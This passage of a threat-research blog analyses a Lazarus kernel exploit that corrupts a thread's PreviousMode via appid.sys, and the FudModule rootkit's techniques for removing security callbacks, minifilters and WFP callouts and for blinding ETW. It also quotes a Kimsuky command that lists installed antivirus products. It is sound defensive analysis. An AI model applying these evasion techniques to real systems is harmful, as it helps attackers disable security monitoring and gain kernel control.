The initialization process then continues with leaking the base addresses of three kernel modules: <code>ntoskrnl</code>, <code>netio</code>, and <code>fltmgr</code>. This is achieved by calling <code>NtQuerySystemInformation</code> using the <code>SystemModuleInformation</code> class. The <code>KTHREAD</code> address of the currently executing thread is also leaked in a similar fashion, by duplicating the current thread pseudohandle and then finding the corresponding kernel object address using the <code>SystemExtendedHandleInformation</code> system information class. Finally, the exploit manually loads the <code>ntoskrnl</code> image into the user address space, only to scan for relative virtual addresses (RVAs) of some functions of interest.&nbsp;Since the <code>appid.sys</code> driver does not have to be already loaded on the target machine, the exploit may first have to load it itself. It chooses to accomplish this in an indirect way, by writing an event to one specific AppLocker-related ETW (Event Tracing for Windows) provider. Once <code>appid.sys</code> is loaded, the exploit impersonates the <code>local service</code> account using a direct syscall to <code>NtSetInformationThread</code> with the <code>ThreadImpersonationToken</code> thread information class. By impersonating <code>local service</code>, it can now obtain a read/write handle to <code>\Device\AppId</code>. With this handle, the exploit finally prepares the IOCTL input buffer and triggers the vulnerability using the <code>NtDeviceIoControlFile</code> syscall.&nbsp;&nbsp;

The exploit crafts the IOCTL input buffer in such a way that the vulnerable callback is essentially a gadget that performs a 64-bit copy from the IOCTL input buffer to an arbitrary target address. This address was chosen to corrupt the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmode">PreviousMode</a> of the current thread. By ensuring the corresponding source byte in the IOCTL input buffer is zero, the copy will clear the <code>PreviousMode</code> field, effectively resulting in its value being interpreted as <code>KernelMode</code>. Targeting <code>PreviousMode</code> like this is a widely popular <a href="https://research.nccgroup.com/2020/05/25/cve-2018-8611-exploiting-windows-ktm-part-5-5-vulnerability-detection-and-a-better-read-write-primitive/#previousmode-abuse:~:text=into%20PreviousMode%20further.-,PreviousMode%20%E2%80%93%20a%20%22god%20mode%22%20primitive%3F,-PreviousMode%20on%2064">exploitation technique</a>, as corrupting this one byte in the <code>KTHREAD</code> structure bypasses kernel-mode checks inside syscalls such as <code>NtReadVirtualMemory</code> or <code>NtWriteVirtualMemory</code>, allowing a user-mode attacker to read and write arbitrary kernel memory. Note that while this technique was <a href="https://x.com/GabrielLandau/status/1597001955909697536">mitigated</a> on some Windows Insider Builds, this mitigation has yet to reach general availability at the time of writing.&nbsp;Interestingly, the exploit may attempt to trigger the vulnerable IOCTL twice. This is due to an extra argument that was added in Win11 22H2. As a result, the IOCTL handler on newer builds expects the input buffer to be <code>0x20</code> bytes in size while, previously, the expected size was only <code>0x18</code>. Rather than selecting the proper input buffer size for the current build, the exploit just tries calling the IOCTL twice: first with an input buffer size <code>0x18</code> then – if not successful – with <code>0x20</code>. This is a valid approach since the IOCTL handler’s first action is to check the input buffer size, and if it doesn’t match the expected size, it would just immediately return <code>STATUS_INVALID_PARAMETER</code>.&nbsp;&nbsp;To check if it was successful, the exploit employs the <code>NtWriteVirtualMemory</code> syscall, attempting to read the current thread’s <code>PreviousMode</code> (Lazarus avoids using <code>NtReadVirtualMemory</code>, more on this later). If the exploit succeeded, the syscall should return <code>STATUS_SUCCESS</code>, and the leaked <code>PreviousMode</code> byte should equal <code>0</code> (meaning <code>KernelMode</code>). Otherwise, the syscall should return an error status code, as it should be impossible to read kernel memory without a corrupted <code>PreviousMode</code>.&nbsp;&nbsp;In our exploit analysis, we deliberately chose to omit some key details, such as the choice of the callback gadget function. This decision was made to strike the right balance between helping defenders with detection but not making exploitation too widely accessible. For those requiring more information for defensive purposes, we may be able to share additional details on a case-by-case basis.&nbsp;<h2>The FudModule Rootkit</h2>The entire goal of the admin-to-kernel exploit was to corrupt the current thread’s <code>PreviousMode</code>. This allows for a powerful kernel read/write primitive, where the affected user-mode thread can read and write arbitrary kernel memory using the <code>Nt(Read|Write)VirtualMemory</code> syscalls. Armed with this primitive, the FudModule rootkit employs direct kernel object manipulation (DKOM) techniques to disrupt various kernel security mechanisms. It’s worth reiterating that FudModule is a data-only rootkit, meaning it executes entirely from user space and all the kernel tampering is performed through the read/write primitive.&nbsp;&nbsp;The first variants of the FudModule rootkit were independently discovered by AhnLab and ESET research teams, with both publishing detailed analyses in September 2022. The rootkit was named after the <code>FudModule.dll</code> string used as the name in its export table. While this artifact is not present anymore, there is no doubt that what we found is an updated version of the same rootkit. AhnLab’s <a href="https://download.ahnlab.com/global/brochure/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD.pdf">report</a> documented a sample from early 2022, which incorporated seven data-only rootkit techniques and was enabled through a BYOVD exploit for <a href="https://www.virustotal.com/gui/file/175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347">ene.sys</a>. ESET’s <a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf">report</a> examined a slightly earlier variant from late 2021, also featuring seven rootkit techniques but exploiting a different BYOVD vulnerability in <a href="https://www.virustotal.com/gui/file/0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5/detection">dbutil_2_3.sys</a>. In contrast, our discovery concerns a sample featuring nine rootkit techniques and exploiting a previously unknown admin-to-kernel vulnerability. Out of these nine techniques, four are new, three are improved, and two remain unchanged from the previous variants. This leaves two of the original seven techniques, which have been deprecated and are no longer present in the latest variant.&nbsp;Each rootkit technique is assigned a bit, ranging from <code>0x1</code> to <code>0x200</code> (the <code>0x20</code> bit is left unused in the current variant). FudModule executes the techniques sequentially, in an ascending order of the assigned bits. The bits are used to report on the success of the individual techniques. During execution, FudModule will construct an integer value (named <code>bitfield_techniques</code> in the decompilation below), where only the bits corresponding to successfully executed techniques will be set. This integer is ultimately written to a file named <code>tem1245.tmp</code>, reporting on the rootkit’s success. Interestingly, we did not find this filename referenced in any other Lazarus sample, suggesting the dropped file is only inspected through hands-on-keyboard activity, presumably through a RAT (Remote Access Trojan) command. This supports our beliefs that FudModule is only loosely integrated into the rest of Lazarus’ malware ecosystem and that Lazarus is very careful about using the rootkit, only deploying it on demand under the right circumstances.&nbsp;

Based on the large number of updates, it seems that FudModule remains under active development. The latest variant appears more robust, avoiding some potentially problematic practices from the earlier variants. Since some techniques target undocumented kernel internals in a way that we have not previously encountered, we believe that Lazarus must be conducting their own kernel research. Further, though the rootkit is certainly technically sophisticated, we still identified a few bugs here and there. These may either limit the rootkit’s intended functionality or even cause kernel bug checks under the right conditions. While we find some of these bugs very interesting and would love to share the details, we do not enjoy the idea of providing free bug reports to threat actors, so we will hold onto them for now and potentially share some information later if the bugs get fixed.&nbsp;Interestingly, FudModule utilizes the <code>NtWriteVirtualMemory</code> syscall for both reading and writing kernel memory, eliminating the need to call <code>NtReadVirtualMemory</code>. This leverages the property that, when limited to a single virtual address space, <code>NtReadVirtualMemory</code> and <code>NtWriteVirtualMemory</code> are basically inverse operations with respect to the values of the source <code>Buffer</code> and the destination <code>BaseAddress</code> <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">arguments</a>. In other words, writing to kernel memory can be thought of as writing from a user-mode <code>Buffer</code> to a kernel-mode <code>BaseAddress</code>, while reading from kernel memory could be conversely achieved by swapping arguments, that is writing from a kernel-mode <code>Buffer</code> to a user-mode <code>BaseAddress</code>. Lazarus’ implementation takes advantage of this, which seems to be an intentional design decision since most developers would likely prefer the more straightforward way of using <code>NtReadVirtualMemory</code> for reading kernel memory and <code>NtWriteVirtualMemory</code> for writing kernel memory. We can only guess why Lazarus chose this approach, but this might be yet another stealth-enhancing feature. With their implementation, they only must use one suspicious syscall instead of two, potentially reducing the number detection opportunities.&nbsp;<h6>Debug Prints&nbsp;</h6>Before we delve into the actual rootkit techniques, there is one last thing worth discussing. To our initial surprise, Lazarus left a handful of plaintext debug prints in the compiled code. Such prints are typically one of the best things that can happen to a malware researcher, because they tend to accelerate the reverse engineering process significantly. In this instance, however, some of the prints had the opposite effect, sometimes even making us question if we understood the code correctly.&nbsp;&nbsp;As an example, let us mention the string <code>get rop function addresses failed</code>. Assuming rop stands for return-oriented programming, this string would make perfect sense in the context of exploitation, if not for the fact that not a single return address was corrupted in the exploit.&nbsp;&nbsp;

While written in English, the debug strings suggest their authors are not native speakers, occasionally even pointing to their supposed Korean origin. This is best seen on the frequent usage of the term vaccine throughout the rootkit. This had us scratching our heads at first, because it was unclear how vaccines would relate to the rootkit functionality. However, it soon became apparent that the term was used to <a href="https://medium.com/s2wblog/detailed-analysis-of-darkgate-investigating-new-top-trend-backdoor-malware-0545ecf5f606#:~:text=use%20are%20different.-,Vaccine%20Detection,-DarkGate%20detects%20installed">refer</a> to security software. This might originate from a common Korean <a href="https://translate.google.com/?sl=en&amp;tl=ko&amp;text=antivirus&amp;op=translate">translation</a> of antivirus (바이러스 백신), a compound word with the literal meaning virus vaccine. Note that even North Korea’s “own” antivirus was called <a href="https://research.checkpoint.com/2018/silivaccine-a-look-inside-north-koreas-anti-virus/">SiliVaccine</a>, and to the best of our knowledge, the term vaccine would not be used like this in other languages such as Japanese. Additionally, this is not the first time Korean-speaking threat actors have used this term. For instance, AhnLab’s recent <a href="https://asec.ahnlab.com/en/59387/">report</a> on Kimsuky mentions the following telltale command:&nbsp; &nbsp; <code>cmd.exe /U /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname &gt; vaccine.txt</code>Another puzzle is the abbreviation <code>pvmode</code>, which we believe refers to <code>PreviousMode</code>. A Google search for <code>pvmode</code> yields exactly zero relevant results, and we suspect most English speakers would choose different abbreviations, such as <code>prvmode</code> or <code>prevmode</code>. However, after consulting this with language experts, we learned that using the abbreviation <code>pvmode</code> would be unusual for Korean speakers too.&nbsp;Finally, there is also the debug message <code>disableV3Protection passed</code>. Judging from the context, the rather generic term V3 here refers to AhnLab V3 Endpoint Security. Considering the geopolitical situation, North Korean hacker groups are likely well-acquainted with South Korean AhnLab, so it would make perfect sense that they internally refer to them using such a non-specific shorthand.&nbsp;<h4 id="techniques">0x01 – Registry Callbacks&nbsp;</h4>The first rootkit technique is designed to address <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/filtering-registry-calls">registry callbacks.</a> This is a documented Windows mechanism which allows security solutions to monitor registry operations. A security solution’s kernel-mode component can call the <code>CmRegisterCallbackEx</code> routine to register a callback, which gets notified whenever a registry operation is performed on the system. What’s more, since the callback is invoked synchronously, before (or after) the actual operation is performed, the callback can even block or modify forbidden/malicious operations. FudModule’s goal here is to remove existing registry callbacks and thus disrupt security solutions that rely on this mechanism.&nbsp;The callback removal itself is performed by directly modifying some internal data structures managed by the kernel. This was also the case in the previous version, as documented by <a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf">ESET</a> and <a href="https://download.ahnlab.com/global/brochure/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD.pdf">AhnLab</a>. There, the rootkit found the address of <code>nt!CallbackListHead</code> (which contains a doubly linked, circular list of all existing registry callbacks) and simply emptied it by pointing it to itself.&nbsp;In the current version of FudModule, this technique was improved to leave some selected callbacks behind, perhaps making the rootkit stealthier. This updated version starts the same as the previous one: by finding the address of <code>nt!CallbackListHead</code>. This is done by resolving <code>CmUnRegisterCallback</code> (this resolution is performed by name, through iterating over the export table of <code>ntoskrnl</code> in memory), scanning its function body for the <code>lea rcx,[nt!CallbackListHead]</code> instruction, and then calculating the final address from the offset extracted from the instruction’s opcodes.&nbsp;With the <code>nt!CallbackListHead</code> address, FudModule can iterate over the registry callback linked list. It inspects each entry and determines if the callback routine is implemented in <code>ntoskrnl.exe</code>, <code>applockerfltr.sys</code>, or <code>bfs.sys</code>. If it is, the callback is left untouched. Otherwise, the rootkit replaces the callback routine pointer with a pointer to <code>ObIsKernelHandle</code> and then proceeds to unlink the callback entry.&nbsp;<h4>0x02 – Object Callbacks&nbsp;</h4><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks">Object callbacks</a> allow drivers to execute custom code in response to thread, process, and desktop handle operations. They are often used in self-defense, as they represent a convenient way to protect critical processes from being tampered with. Since the protection is enforced at the kernel level, this should protect even against elevated attackers, as long as they stay in user mode. Alternatively, object callbacks are also useful for monitoring and detecting suspicious activity.&nbsp;&nbsp;Whatever the use case, object callbacks can be set up using the <code>ObRegisterCallbacks</code> routine. FudModule naturally attempts to do the exact opposite: that is to remove all registered object callbacks. This could let it bypass self-defense mechanisms and evade object callback-based detection/telemetry.&nbsp;The implementation of this rootkit technique has stayed the same since the previous version, so there is no need to go into too much detail. First, the rootkit scans the body of the <code>ObGetObjectType</code> routine to obtain the address of <code>nt!ObTypeIndexTable</code>. This contains an array of pointers to <code>_OBJECT_TYPE</code> structures, each of which represents a distinct object type, such as <code>Process</code>, <code>Token</code>, or <code>SymbolicLink</code>. FudModule iterates over this array (skipping the first two special-meaning elements) and inspects each <code>_OBJECT_TYPE.CallbackList</code>, which contains a doubly linked list of object callbacks registered for the particular object type. The rootkit then empties the <code>CallbackList</code> by making each node’s forward and backward pointer point to itself.&nbsp;<h4>0x04 – Process, Thread, and Image Kernel Callbacks&nbsp;</h4>This next rootkit technique is designed to disable three more types of kernel callbacks: <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine">process</a>, <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutine">thread</a>, and <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine">image</a> callbacks. As their names suggest, these are used to execute custom kernel code whenever a new process is created, a new thread spawned, or a new image loaded (e.g. a DLL loaded into a process). These callbacks are extremely useful for detecting malicious activity. For instance, process callbacks allow AVs and EDRs to perform various checks on each new process that is to be created. Registering these callbacks is very straightforward. All that is needed is to pass the new callback routine as an argument to <code>PsSetCreateProcessNotifyRoutine</code>, <code>PsSetCreateThreadNotifyRoutine</code>, or <code>PsSetLoadImageNotifyRoutine</code>. These routines also come in their updated <code>Ex</code> variants, or even <code>Ex2</code> in the case of <code>PsSetCreateProcessNotifyRoutineEx2</code>.&nbsp;Process, thread, and image callbacks are managed by the kernel in an almost identical way, which allows FudModule to use essentially the same code to disable all three of them. We find that this code has not changed much since the previous version, with the main difference being new additions to the list of drivers whose callbacks are left untouched.&nbsp;&nbsp;FudModule first finds the addresses of <code>nt!PspNotifyEnableMask</code>, <code>nt!PspLoadImageNotifyRoutine</code>, <code>nt!PspCreateThreadNotifyRoutine</code>, and <code>nt!PspCreateProcessNotifyRoutine</code>. These are once again obtained by scanning the code of exported routines, with the exact scanning method subject to some variation based on the Windows build number. Before any modification is performed, the rootkit clears <code>nt!PspNotifyEnableMask</code> and sleeps for a brief amount of time. This mask contains a bit field of currently enabled callback types, so clearing it disables all callbacks. While some EDR bypasses would <a href="https://overlayhack.com/edr-bypass-evasion">stop here</a>, FudModule’s goal is not to disable all callbacks indiscriminately, so the modification of <code>nt!PspNotifyEnableMask</code> is only temporary, and FudModule eventually restores it back to its original value. We believe the idea behind this temporary modification is to decrease the chance of a race condition that could potentially result in a bug check.&nbsp;All three of the above <code>nt!Psp(LoadImage|CreateThread|CreateProcess)NotifyRoutine</code> globals are organized as an array of <code>_EX_FAST_REF</code> pointers to <code>_EX_CALLBACK_ROUTINE_BLOCK</code> structures (at least that’s the name used in <a href="https://github.com/reactos/reactos/blob/e0c17c3f462e3b62bf0c4ca2479c1e5c6b8ff496/sdk/include/ndk/extypes.h#L535">ReactOS,</a> Microsoft does not share a symbol name here). FudModule iterates over all these structures and checks if <code>_EX_CALLBACK_ROUTINE_BLOCK.Function</code> (the actual callback routine pointer) is implemented in one of the below-whitelisted modules. If it is, the pointer will get appended to a new array that will be used to replace the original one. This effectively removes all callbacks except for those implemented in one of the below-listed modules.&nbsp;

<h4>0x08 – Minifilter Drivers&nbsp;</h4><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts">File system minifilters</a> provide a mechanism for drivers to intercept file system operations. They are used in a wide range of scenarios, including encryption, compression, replication, monitoring, antivirus scanning, or file system virtualization. For instance, an encryption minifilter would encrypt the data before it is written to the storage device and, conversely, decrypt the data after it is read. FudModule is trying to get rid of all the monitoring and antivirus minifilters while leaving the rest untouched (after all, some minifilters are crucial to keep the system running). The choice about which minifilters to keep and which to remove is based mainly on the minifilter’s altitude, an integer value that is used to decide the processing order in case there are multiple minifilters attached to the same operation. Microsoft defines <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/load-order-groups-and-altitudes-for-minifilter-drivers">altitude ranges</a> that should be followed by well-behaved minifilters. Unfortunately, these ranges also represent a very convenient way for FudModule to distinguish anti-malware minifilters from the rest.&nbsp;In its previous version, FudModule disabled minifilters by directly patching their filter functions’ prologues. This would be considered very unusual today, with <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard">HVCI</a> (Hypervisor-Protected Code Integrity) becoming more prevalent, even turned on by default on Windows 11. Since HVCI is a security feature designed to prevent the execution of arbitrary code in the kernel, it would stand in the way of FudModule trying to patch the filter function. This forced Lazarus to completely reimplement this rootkit technique, so the current version of FudModule disables file system minifilters in a brand-new data-only attack.&nbsp;This attack starts by resolving <code>FltEnumerateFilters</code> and using it to find <code>FltGlobals.FrameList.rList</code>. This is a linked list of <code>FLTMGR!_FLTP_FRAME</code> structures, each representing a single <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts#:~:text=Each%20of%20FltMgr%27s%20filter%20device%20objects%20is%20called%20a%20frame">filter manager frame</a>. From here, FudModule follows another linked list at <code>_FLTP_FRAME.AttachedVolumes.rList</code>. This linked list consists of <code>FLTMGR!_FLT_VOLUME</code> structures, describing minifilters attached to a particular file system volume. Interestingly, the rootkit performs a sanity check to make sure that the pool tag associated with the <code>_FLT_VOLUME</code> allocation is equal to <code>FMvo</code>. With the sanity check satisfied, FudModule iterates over <code>_FLT_VOLUME.Callbacks.OperationsLists</code>, which is an array of linked lists of <code>FLTMGR!_CALLBACK_NODE</code> structures, indexed by IRP major function codes. For instance, <code>OperationsLists[IRP_MJ_READ]</code> is a linked list describing all filters attached to the <code>read</code> operation on a particular volume.&nbsp;

For each <code>_CALLBACK_NODE</code>, FudModule obtains the corresponding <code>FLTMGR!_FLT_INSTANCE</code> and <code>FLTMGR!_FLT_FILTER</code> structures and uses them to decide whether to unlink the callback node. The first check is based on the name of the driver behind the filter. If it is <code>hmpalert.sys</code> (associated with the HitmanPro anti-malware solution), the callback will get immediately unlinked. Conversely, the callback is preserved if the driver’s name matches an entry in the following list:&nbsp;

If there was no driver name match, FudModule uses <code>_FLT_FILTER.DefaultAltitude</code> to make its ultimate decision. Callbacks are unlinked if the default altitude belongs either to the range <code>[320000, 329999]</code> (<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/load-order-groups-and-altitudes-for-minifilter-drivers#:~:text=recover%20deleted%20files.-,FSFilter%20Anti%2DVirus,-320000%2D329999">defined</a> as <code>FSFilter Anti-Virus</code> by Microsoft) or the range <code>[360000, 389999]</code> (<code>FSFilter Activity Monitor</code>). Besides unlinking the callback nodes, FudModule also wipes the whole <code>_FLT_INSTANCE.CallbackNodes</code> array in the corresponding <code>_FLT_INSTANCE</code> structures.&nbsp;<h4>0x10 – Windows Filtering Platform&nbsp;</h4><a href="https://learn.microsoft.com/en-us/windows/win32/fwp/windows-filtering-platform-start-page">Windows Filtering Platform</a> (WFP) is a documented set of APIs designed for host-based network traffic filtering. The WFP API offers capabilities for deep packet inspection as well as for modification or dropping of packets at various layers of the network stack. This is very useful functionality, so it serves as a foundation for a lot of Windows network security software, including intrusion detection/prevention systems, firewalls, and network monitoring tools. The WFP API is accessible both in user and kernel space, with the kernel part offering more powerful functionality. Specifically, the kernel API allows for installing so-called <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/network/introduction-to-windows-filtering-platform-callout-drivers">callout drivers,</a> which can essentially hook into the network stack and perform arbitrary actions on the processed network traffic. FudModule is trying to interfere with the installed callout routines in an attempt to disrupt the security they provide.&nbsp;&nbsp;This rootkit technique is executed only when Kaspersky drivers (<code>klam.sys</code>, <code>klif.sys</code>, <code>klwfp.sys</code>, <code>klwtp.sys</code>, <code>klboot.sys</code>) are present on the targeted system and at the same time Symantec/Broadcom drivers (<code>symevnt.sys</code>, <code>bhdrvx64.sys</code>, <code>srtsp64.sys</code>) are absent. This check appears to be a new addition in the current version of FudModule. In other aspects, our analysis revealed that the core idea of this technique matches the <a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf">findings</a> described by ESET researchers during their analysis of the previous version.&nbsp;Initially, FudModule resolves <code>netio!WfpProcessFlowDelete</code> to locate the address of <code>netio!gWfpGlobal</code>. As the name suggests, this is designed to store WFP-related global variables. Although its exact layout is undocumented, it is <a href="https://codemachine.com/articles/find_wfp_callouts.html">not hard to find</a> the build-specific offset where a pointer to an array of WFP callout structures is stored (with the length of this array stored at an offset immediately preceding the pointer). FudModule follows this pointer and iterates over the array, skipping all callouts implemented in <code>ndu.sys</code>, <code>tcpip.sys</code>, <code>mpsdrv.sys</code>, or <code>wtd.sys</code>. For the remaining callouts, FudModule accesses the callout structure’s flags and sets the flag stored in the least significant bit. While the callout structure itself is undocumented, this particular <code>0x01</code> flag is <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fwpsk/ns-fwpsk-fwps_callout2_">documented in another structure</a>, where it is called <code>FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW</code>. The documentation reads “if this flag is specified, the filter engine calls the callout driver’s classifyFn2 callout function only if there is a context associated with the data flow”. In other words, setting this flag will conditionally disable the callout in cases where no flow context is available (see the implementation of <code>netio!IsActiveCallout</code> below).&nbsp;

While this rootkit technique has the potential to interfere with some WFP callouts, it will not be powerful enough to disrupt all of them. Many WFP callouts registered by security vendors already have the <code>FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW</code> flag set by design, so they will not be affected by this technique at all. Given the initial driver check, it seems like this technique might be targeted directly at Kaspersky. While Kaspersky does install dozens of WFP callouts, about half of those are designed for processing flows and already have the <code>FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW</code> flag set. Since we refrained from reverse engineering our competitor’s products, the actual impact of this rootkit technique remains unclear.&nbsp;<h4>0x20 – Missing&nbsp;</h4>So far, the rootkit techniques we analyzed were similar to those detailed by ESET in their paper on the earlier rootkit variant. But starting from now, we are getting into a whole new territory. The <code>0x20</code> technique, which used to deal with Event Tracing for Windows (ETW), has been deprecated, leaving the <code>0x20</code> bit unused. Instead, there are two new replacement techniques that target ETW, indexed with the bits <code>0x40</code> and <code>0x80</code>. The indexing used to end at <code>0x40</code>, which was a technique to obstruct forensic analysis by disabling prefetch file creation. However, now the bits go all the way up to <code>0x200</code>, with two additional new techniques that we will delve into later in this blog.&nbsp;<h4>0x40 – Event Tracing for Windows: System Loggers</h4><a href="https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing">Event Tracing for Windows</a> (ETW) serves as a high-performance mechanism dedicated to tracing and logging events. In a nutshell, its main purpose is to connect providers (who generate some log events) with consumers (who process the generated events). Consumers can define which events they would like to consume, for instance, by selecting some specific providers of interest. There are providers built into the operating system, like <code>Microsoft-Windows-Kernel-Process</code> which generates process-related events, such as process creation or termination. However, third-party applications can also define their custom providers.&nbsp;&nbsp;While many built-in providers are not security-related, some generate events useful for detection purposes. For instance, the <code>Microsoft-Windows-Threat-Intelligence</code> provider makes it possible to watch for suspicious events, such as writing another process’ memory. Furthermore, various security products take advantage of ETW by defining their custom providers and consumers. FudModule tampers with ETW internals in an attempt to intercept suspicious events and thus evade detection.&nbsp;The main idea behind this rootkit technique is to disable system loggers by zeroing out <code>EtwpActiveSystemLoggers</code>. The specific implementation of how this address is found varies based on the target Windows version. On newer builds, the <code>nt!EtwSendTraceBuffer</code> routine is resolved first and used to find <code>nt!EtwpHostSiloState</code>. This points to an <code>_ETW_SILODRIVERSTATE</code> structure, and using a hardcoded build-specific offset, the rootkit can access <code>_ETW_SILODRIVERSTATE.SystemLoggerSettings.EtwpActiveSystemLoggers</code>. On older builds, the rootkit first scans the entire ntoskrnl <code>.text</code> section, searching for opcode bytes specific to the <code>EtwTraceKernelEvent</code> prologue. The rootkit then extracts the target address from the <code>mov ebx, cs:EtwpActiveSystemLoggers</code> instruction that immediately follows.&nbsp;To understand the technique’s impact, we can take a look at how <code>EtwpActiveSystemLoggers</code> is used in the kernel. Accessed on a bit-by-bit basis, its least significant eight bits might be set in the <code>EtwpStartLogger</code> routine. This indicates that the value itself is a bit field, with each bit signifying whether a particular system logger is active. Looking at the other references to <code>EtwpActiveSystemLoggers</code>, a clear pattern emerges. After its value is read, there tends to be a loop guarded by a <code>bsf</code> instruction (bit scan forward). Inside the loop tends to be a call to an ETW-related routine that might generate a log event. The purpose of this loop is to iterate over the set bits of <code>EtwpActiveSystemLoggers</code>. When the rootkit clears all the bits, the body of the loop will never get executed, meaning the event will not get logged.&nbsp;

<h4>0x80 – Event Tracing for Windows: Provider GUIDs&nbsp;</h4>Complementing the previous technique, the <code>0x80</code> technique is also designed to blind ETW, however using a different approach. While the <code>0x40</code> technique was quite generic – aiming to disable all system loggers – this technique operates in a more surgical fashion. It contains a <a href="https://github.com/avast/ioc/tree/master/FudModule#targeted-etw-provider-guids">hardcoded list</a> of 95 GUIDs, each representing an identifier for some specific ETW provider. The rootkit iterates over all these GUIDs and attempts to disable the respective providers. While this approach requires the attackers to invest some effort into assembling the list of GUIDs, it also offers them a finer degree of control over which ETW providers they will eventually disrupt. This allows them to selectively target providers that pose a higher detection risk and ignore the rest to minimize the rootkit’s impact on the target system.&nbsp;This technique starts by obtaining the address of <code>EtwpHostSiloState</code> (or <code>EtwSiloState</code> on older builds). If <code>EtwpHostSiloState</code> was already resolved during the previous technique, the rootkit just reuses the address. If not, the rootkit follows the reference chain <code>PsGetCurrentServerSiloName</code> -&gt; <code>PsGetCurrentServerSiloGlobals</code> -&gt; <code>PspHostSiloGlobals</code> -&gt; <code>EtwSiloState</code>. In both scenarios, the result is that the rootkit just obtained a pointer to an <code>_ETW_SILODRIVERSTATE</code> structure, which contains a member named <code>EtwpGuidHashTable</code>. As the name suggests, this is a hash table holding ETW GUIDs (<code>_ETW_GUID_ENTRY</code>).&nbsp;&nbsp;FudModule then iterates over its hardcoded list of GUIDs and attempts to locate each of them in the hash table. Although the hash table internals are officially undocumented, Yarden Shafir provided a nice description in her <a href="https://windows-internals.com/exploiting-a-simple-vulnerability-in-35-easy-steps-or-less/">blog</a> on exploiting an ETW vulnerability. In a nutshell, the hash is computed by just splitting the 128-bit GUID into four 32-bit parts and XORing them together. By ANDing the hash with <code>0x3F</code>, an index of the relevant hash bucket (<code>_ETW_HASH_BUCKET</code>) can be obtained. The bucket contains three linked lists of <code>_ETW_GUID_ENTRY</code> structures, each designated for a different type of GUIDs. FudModule always opts for the first one (<code>EtwTraceGuidType</code>) and traverses it, looking for the relevant <code>_ETW_GUID_ENTRY</code> structure.&nbsp;With a pointer to <code>_ETW_GUID_ENTRY</code> corresponding to a GUID of interest, FudModule proceeds to clear <code>_ETW_GUID_ENTRY.ProviderEnableInfo.IsEnabled</code>. The purpose of this modification seems self-explanatory: FudModule is trying to disable the ETW provider. To better understand how this works, let’s examine <code>nt!EtwEventEnabled</code> (see the decompiled code below). This is a routine that often serves as an <code>if</code> condition before <code>nt!EtwWrite</code> (or <code>nt!EtwWriteEx</code>) gets called.&nbsp;&nbsp;Looking at the decompilation, there are two <code>return 1</code> statements. Setting <code>ProviderEnableInfo.IsEnabled</code> to zero ensures that the first one is never reached. However, the second <code>return</code> statement could still potentially execute. To make sure this doesn’t happen, the rootkit also iterates over all <code>_ETW_REG_ENTRY</code> structures from the <code>_ETW_GUID_ENTRY.RegListHead</code> linked list. For each of them, it makes a single doubleword write to zero out four masks, namely <code>EnableMask</code>, <code>GroupEnableMask</code>, <code>HostEnableMask</code>, and <code>HostGroupEnableMask</code> (or only <code>EnableMask</code> and <code>GroupEnableMask</code> on older builds, where the latter two masks were not yet introduced).&nbsp;&nbsp;

Clearing these masks also has an additional effect beyond making <code>EtwEventEnabled</code> always return <code>false</code>. These four are all also checked in <code>EtwWriteEx</code> and this modification effectively neutralizes this routine, as when no mask is set for a particular event registration object, execution will never proceed to a lower-level routine (<code>nt!EtwpEventWriteFull</code>) where the bulk of the actual event writing logic is implemented.&nbsp;<h4>0x100 – Image Verification Callbacks&nbsp;</h4>Image verification callbacks are yet another callback mechanism disrupted by FudModule. Designed similarly to process/thread/image callbacks, image verification callbacks are supposed to get invoked whenever a new driver image is loaded into kernel memory. This represents useful functionality for anti-malware software, which can leverage them to blocklist known malicious or vulnerable drivers (though there might be some problems with this blocking approach as the callbacks get invoked asynchronously). Furthermore, image verification callbacks also offer a valuable source of telemetry, providing visibility into suspicious driver load events. The callbacks can be registered using the <code>SeRegisterImageVerificationCallback</code> routine, which is publicly undocumented. As a result of this undocumented nature, the usage here is limited mainly to deep-rooted anti-malware software. For instance, Windows Defender registers a callback named <code>WdFilter!MpImageVerificationCallback</code>.&nbsp;As the kernel internally manages image verification callbacks in a similar fashion to some of the other callbacks we already explored, the rootkit’s removal implementation will undoubtedly seem familiar. First, the rootkit resolves the <code>nt!SeRegisterImageVerificationCallback</code> routine and scans its body to locate <code>nt!ExCbSeImageVerificationDriverInfo</code>. Dereferencing this, it obtains a pointer to a <code>_CALLBACK_OBJECT</code> structure, which holds 